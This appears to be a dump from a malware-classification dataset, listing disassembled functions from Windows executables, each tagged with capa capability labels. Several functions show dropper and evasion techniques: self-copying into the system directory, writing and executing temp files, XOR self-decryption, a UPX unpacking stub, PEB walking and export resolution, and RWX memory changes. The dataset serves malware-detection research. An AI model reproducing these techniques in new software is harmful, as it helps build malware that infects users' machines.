joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40105d
Capabilities:
Copy file
Get common file path

Disassembly:
push 0x104
push 0x405a60
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x104
push 0x405b64
call sub.kernel32.dll_GetSystemDirectoryA
mov byte [eax + 0x405b64], 0x5c
inc eax
push eax
xor ecx, ecx
pop eax
add eax, 0x405b64
mov ebx, 0x405a4c
cmp byte [ebx], 0
je 0x4010a0
mov cl, byte [ebx]
mov byte [eax], cl
inc eax
inc ebx
jmp 0x401093
push 0
push 0x405b64
push 0x405a60
call sub.kernel32.dll_CopyFileA
ret

Function at 0x4010b2
Capabilities:
Write file on windows

Disassembly:
push 0
push 0x8000000
push 4
push 0
push 3
push 0xc0000000
push 0x405b64
call sub.kernel32.dll_CreateFileA
push eax
push 0
push 0
push 0x53
push eax
call sub.kernel32.dll_SetFilePointer
pop eax
push eax
push 0
push 0x405944
push 8
push 0x405a4c
push eax
call sub.kernel32.dll_WriteFile
pop eax
push eax
call sub.kernel32.dll_CloseHandle
ret

Function at 0x4010f9
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push 0x104
push 0x405c68
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [0x405c68]
lea ebx, [0x40578d]
mov cl, byte [eax]
mov byte [ebx - 1], cl
cmp cl, 0
je 0x401124
inc ebx
inc eax
jmp 0x401116
lea eax, [0x405855]
mov cl, byte [eax]
mov byte [ebx - 1], cl
cmp cl, 0
je 0x401138
inc eax
inc ebx
jmp 0x40112a
push ebx
push 0x405d6c
push 0x104
call sub.kernel32.dll_GetTempPathA
add eax, 0x405d6c
lea ebx, [0x40571d]
mov cl, byte [ebx]
mov byte [eax], cl
cmp cl, 0
je 0x401160
inc ebx
inc eax
jmp 0x401153
pop eax
dec eax
lea ebx, [0x405d6c]
mov cl, byte [ebx]
mov byte [eax], cl
cmp cl, 0
je 0x401175
inc eax
inc ebx
jmp 0x401168
lea ebx, [0x40593b]
mov cl, byte [ebx]
mov byte [eax], cl
cmp cl, 0
je 0x401188
inc eax
inc ebx
jmp 0x40117b
push 0
push 0x8000000
push 2
push 0
push 3
push 0xc0000000
push 0x405d6c
call sub.kernel32.dll_CreateFileA
push eax
xor ecx, ecx
lea eax, [0x40572c]
cmp byte [eax], 0
je 0x4011b6
inc eax
inc ecx
jmp 0x4011ad
pop eax
push eax
push 0
lea ebx, [0x405944]
push ebx
push ecx
lea ebx, [0x40572c]
push ebx
push eax
call sub.kernel32.dll_WriteFile
pop eax
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [0x405d6c]
push 1
push 0
push 0
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
ret

Function at 0x4011ed
Capabilities:
Create process on windows
Delete file
Get common file path
Move file

Disassembly:
push 0x405948
push 0x104
call sub.kernel32.dll_GetTempPathA
add eax, 0x405948
lea ebx, [0x405710]
mov cl, byte [ebx]
mov byte [eax], cl
inc eax
inc ebx
cmp cl, 0
jne 0x401207
push 0
push 0x100
push 1
push 0
push 3
push 0xc0000000
push 0x405948
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x401250
push 4
push 0
push 0x405948
call sub.kernel32.dll_MoveFileExA
lea eax, [0x403000]
call eax
push 0
call sub.kernel32.dll_ExitProcess
push eax
call sub.kernel32.dll_CloseHandle
call fcn.00401000
call fcn.0040105d
call fcn.004010b2
call fcn.004010f9
push 1
push 0
push 0
push 0x405b64
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_ExitProcess
int3
Function at 0x403002
Capabilities:
Encode data using xor

Disassembly:
pop edx
sub edx, 1
mov ecx, 0
mov ecx, 0x1cce
mov eax, ecx
xor byte [eax + edx], 0x19
xor byte [eax + edx], 0x42
dec eax
loop 0x403012
jmp 0x403027
ficomp dword [edi - 0x5b5b5495]
cmp ebp, dword [eax - 0x65]
salc
out 0xdf, al
stosd dword es:[edi], eax
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
loop 0x403067
push esp
pop ebx
pop ebx
test al, 0xf1
push 0x1be6d69b
stosd dword es:[edi], eax
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
loop 0x403066
pop ebx
pop ebx
pop ebx
test al, 0xf1
pushfd
fdivrp st(6)
stosb byte es:[edi], al
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
mov esp, 0xb25b5b5b
xor eax, 0xe5b5b56
sal byte [edi - 0x5e946026], 1
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
shr byte [esi], 1
push ebx
salc
frstor dword [eax + 0xb5b5b58]
xor dword [ebx + 0x31], ebx
pop ebx
movsb byte es:[edi], byte [esi]
int 0xde
pop ebx
pop ebx
pop ebx
rcr ch, cl
sahf
push ebx
pop ebx
pop ebx
movsb byte es:[edi], byte [esi]
int 0xd2
pop ebx
pop ebx
pop ebx
in al, dx
pop ebx
pop ebx
pop ebx
pop edi
xchg edx, eax
cdq
pop edi
pop ebx
or eax, 0x5230ddd6
pop ebx
pop ebx
or edx, esi
fstp qword [esi]
pop edx
pop ebx
pop ebx
or esp, dword [ebp + ecx*8 + 0x5b5b5ba6]
mov bl, 0x5c
pop ebx
pop ebx
pop ebx
sub al, 0x28
imul eax, dword [eax + ebp*2], 0xb035b69
movsb byte es:[edi], byte [esi]
int 0xc6
pop ebx
pop ebx
pop ebx
rcr ch, cl
cwde
push ecx
pop ebx
pop ebx
mov bl, 0x61
pop ebx
pop ebx
pop ebx
mov edx, 0x5ad5ef3b
pop ebx
mov bl, byte [edx]
jb 0x4030f4
dec esi
pop ebx
inc ebp
loopne 0x403089
inc edx
pop ebx
push edi
add esi, dword [esi - 0x25a4b94f]
jbe 0x403103
add al, 0x5e
pop ebx
loope 0x40315c
sub ebp, dword [esi + edx*2 + 0x5b]
sal dword [ebx + 0x5b4a2167], 1
sahf
xchg esi, eax
popfd
inc edi
push edx
pop ebx
mov word [esi + esi*2 + 0x5b5bc212], es
pop ebx
pop ebx
pop ebx
add al, 0xd8
pop ebx
das
inc eax
test byte [esi + 0x12], dh
ret 0x5b5b
movsb byte es:[edi], byte [esi]
insb byte es:[edi], dx
movsb byte es:[edi], byte [esi]
in eax, dx
cwde
push ecx
pop ebx
pop ebx
or esp, dword [ebp + ecx*8 + 0x5b5b5b86]
push esp
in al, dx
or al, 0x5f
rcr byte [edi + 0x69], cl
fcomp dword [ebp + ebx*2 - 0x2bcc4450]
cmp edi, 0xffffffe0
movsb byte es:[edi], byte [esi]
in eax, dx
cwde
push ecx
pop ebx
pop ebx
or esp, dword [ebp + ecx*8 + 0x5b5b5b86]
salc
salc
xor dword [ebp + 0x330aa4a4], esp
pop edx
pop edx
pop ebx
pop ebx
movsb byte es:[edi], byte [esi]
mov ebx, esi
wait
push esp
fidivr word [ecx]
pop edi
pop ebx
pop ebx
pushfd
fisubr word [edi - 0x59]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
dec ebx
jl 0x4031aa
pop ebx
invalid
pop ecx
pop ebx
pop ebx
movsb byte es:[edi], byte [esi]
je 0x403107
in eax, dx
xlatb
pop edx
pop ebx
pop ebx
aam 0xdd
lcall 0x5a6a, 0x335b5b59
pop ebx
pop ebx
salc
invalid
invalid
Function at 0x40a03a
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41f00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x416ebc
push esi
call fcn.0040cdcb
pop ecx
pop ecx
test eax, eax
jne 0x40a068
xor al, al
jmp 0x40a0e5
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.00409d7d
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x40a0a2
push dword [ebp - 0x210]
call fcn.0040a3ae
xor al, al
jmp 0x40a0e3
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40a0a8
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x40a0c8
push edx
call fcn.00409f70
pop ecx
test al, al
je 0x40a093
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x40a0d6
mov bl, 1
push dword [ebp - 0x210]
call fcn.0040a3ae
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406482
leave
ret

Function at 0x40d284
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4176a0
push 0x417698
push str.FlsAlloc
push 0x1e
call fcn.0040d145
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d2b8
push dword [ebp + 8]
mov ecx, esi
call dword [0x41619c]
call esi
jmp 0x40d2be
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d302
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4176b0
push 0x4176a8
push str.FlsGetValue
push 0x20
call fcn.0040d145
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d339
push dword [ebp + 8]
mov ecx, esi
call dword [0x41619c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40f29d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40f33a
push ebx
push esi
call fcn.0040f266
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040f1af
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40f2e7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40f339
push edi
push eax
call fcn.0040c95f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40f307
call fcn.0040c6af
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40f338
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040f1af
add esp, 0x20
test eax, eax
jne 0x40f326
push edi
call fcn.0040c6af
jmp 0x40f32e
push ebx
call fcn.0040c6af
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40f33d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40f34e
pop esi
ret
push ebx
push edi
push esi
call fcn.0040f266
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040c95f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40f376
push ebx
push esi
push edi
call fcn.00407790
add esp, 0xc
push 0
call fcn.0040c6af
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40f73a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040f38b
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x423cb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19000]
push edi
jmp 0x423cca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x423cd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x423cc0
mov eax, 1
add ebx, ebx
jne 0x423ce3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x423cd8
jne 0x423cf4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x423cd8
xor ecx, ecx
sub eax, 3
jb 0x423d08
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x423d7a
mov ebp, eax
add ebx, ebx
jne 0x423d13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x423d20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x423d44
inc ecx
add ebx, ebx
jne 0x423d30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x423d25
jne 0x423d41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x423d25
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x423d64
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x423d55
jmp 0x423cc6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x423d64
add edi, ecx
jmp 0x423cc6
pop esi
mov edi, esi
mov ecx, 0x225
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x423d82
cmp byte [edi], 5
jne 0x423d82
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x423d87
lea edi, [esi + 0x21000]
mov eax, dword [edi]
or eax, eax
je 0x423dff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x23fec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x24028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x423db4
mov ecx, edi
jns 0x423de3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x24030]
or eax, eax
je 0x423df9
mov dword [ebx], eax
add ebx, 4
jmp 0x423dd1
call dword [esi + 0x2402c]
mov ebp, dword [esi + 0x24034]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x423e33
sub esp, 0xffffff80
jmp 0x402bf0

Function at 0x4018f6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401935
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401935
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401935
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401935
cmp dword [ecx + 0x74], 0xe
jbe 0x401935
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x66a01607
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x234
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x34], 0x18
mov eax, dword [ebp - 0x34]
mov eax, dword fs:[eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x14
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x236]
mov ecx, 0x1fe
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
jmp 0x66a01711
sub dword [ebp - 0xc], 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
add eax, 0x2c
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.66a014b0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0
jmp 0x66a016dc
mov eax, dword [ebp - 0x10]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x2c]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
mov dword [esp], eax
call fcn.66a015eb
movsx dx, al
mov eax, dword [ebp - 0x10]
mov word [ebp + eax*2 - 0x236], dx
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x30]
jle 0x66a016b0
lea eax, [ebp - 0x236]
mov dword [esp], eax
call fcn.66a0151c
cmp dword [ebp + 8], eax
jne 0x66a01705
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
jmp 0x66a01720
add dword [ebp - 0xc], 8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jne 0x66a01683
mov eax, dword [ebp - 0x14]
add esp, 0x234
pop ebx
pop edi
pop ebp
ret
Function at 0x66a0172a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x78]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x20]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x24]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0
jmp 0x66a017d9
mov eax, dword [ebp - 8]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [esp], eax
call fcn.66a014db
cmp dword [ebp + 0xc], eax
jne 0x66a017d5
mov eax, dword [ebp - 8]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x20]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
lea edx, [eax*4]
mov eax, dword [ebp - 0x18]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x66a017e4
add dword [ebp - 8], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x18]
cmp dword [ebp - 8], eax
jb 0x66a0178e
cmp dword [ebp - 4], 0
je 0x66a017f4
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
add eax, edx
jmp 0x66a017f9
mov eax, 0
leave
ret

Function at 0x66b16db0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.66b178f0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.66b178f0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x66b16e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x66bff070]
test esi, esi
jle 0x66b16f30
mov eax, dword [0x66bff074]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x66b16e44
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x66b16ec7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x66b16e30
mov dword [esp], ebx
call fcn.66b17600
mov edi, eax
test eax, eax
je 0x66b16f57
mov eax, dword [0x66bff074]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.66b17740
mov edx, dword [0x66bff074]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x66b16f37
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x66b16ec0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x66b16ed0
add dword [0x66bff070], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x66bff074]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x66b16ec0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.66b16db0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x66b16e4e
mov eax, dword [0x66bff074]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.66b16db0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.66b16db0
lea esi, [esi]
nop

Function at 0x66b17270
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x66bff080
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x66bff078]
sub esp, 4
test ebx, ebx
je 0x66b172c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x66b172be
test esi, esi
je 0x66b172be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66b172a0
mov dword [esp], 0x66bff080
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x66b17600
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x66a00000], 0x5a4d
jne 0x66b17625
mov ecx, dword [0x66a0003c]
cmp dword [ecx + 0x66a00000], 0x4550
lea edx, [ecx + 0x66a00000]
je 0x66b17630
ret
cmp word [ecx + 0x66a00018], 0x10b
jne 0x66b17625
push esi
movzx eax, word [ecx + 0x66a00014]
push ebx
movzx esi, word [ecx + 0x66a00006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x66a00000
test si, si
je 0x66b17678
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x66b1766e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x66b1767a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x66b17660
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x18
mov eax, edx
push ebx
mov ebx, dword [ebp + 0xc]
shr eax, 4
push esi
mov ecx, ebx
test eax, eax
je 0x401282
add ebx, 8
mov dword [ebp - 4], eax
nop
mov eax, dword [ecx]
xor dword [edi], eax
mov edx, dword [ebx - 4]
xor dword [edi + 4], edx
mov edx, dword [ebx]
xor dword [edi + 8], edx
mov edx, dword [ebx + 4]
xor dword [edi + 0xc], edx
add ecx, 0x10
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
add ebx, 0x10
call fcn.00401180
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 8]
add esp, 4
dec dword [ebp - 4]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
jne 0x401230
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + edx]
cmp eax, ecx
jbe 0x4012f5
sub ebx, ecx
add ebx, edx
test ebx, ebx
jle 0x40129f
push ebx
push ecx
lea ecx, [ebp - 0x18]
push ecx
call fcn.0041a120
add esp, 0xc
mov eax, 0x10
sub eax, ebx
lea ecx, [ebp + ebx - 0x18]
je 0x4012b8
push eax
push 0
push ecx
call fcn.0041a150
add esp, 0xc
mov edx, dword [ebp - 0x18]
xor dword [edi], edx
mov ecx, dword [ebp - 0x14]
xor dword [edi + 4], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor dword [edi + 8], edx
xor dword [edi + 0xc], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
call fcn.00401180
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [edi], edx
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
add esp, 4
mov dword [edi + 0xc], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
xor al, al
push esi
mov esi, dword [ebp + 0xc]
mov byte [ebp - 0x14], al
mov byte [ebp - 4], al
mov byte [ebp - 0xc], al
push 2
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 0x18], 0x38
mov dword [ebp - 8], 0x3031
mov dword [ebp - 0x28], 0x32313032
mov word [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x36313032
mov word [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0x37
mov dword [ebp - 0x20], 0x38303032
mov word [ebp - 0x1c], 0
call fcn.0041a810
add esp, 0xc
test eax, eax
je 0x40371e
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x64], 1
push 1
lea edx, [ebp - 0x10]
push edx
push esi
call fcn.0041a810
add esp, 0xc
test eax, eax
jne 0x40379f
push 4
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.0041a810
add esp, 0xc
test eax, eax
jne 0x40379f
push 1
lea ecx, [ebp - 0x18]
push ecx
push esi
call fcn.0041a810
add esp, 0xc
test eax, eax
jne 0x403795
push 2
lea edx, [ebp - 8]
push edx
push esi
call fcn.0041a810
add esp, 0xc
test eax, eax
jne 0x403795
push 4
lea eax, [ebp - 0x28]
push eax
push esi
call fcn.0041a810
add esp, 0xc
test eax, eax
jne 0x403795
push 4
lea ecx, [ebp - 0x30]
push ecx
push esi
call fcn.0041a810
add esp, 0xc
test eax, eax
jne 0x403795
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 8
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 7
pop esi
mov esp, ebp
pop ebp
ret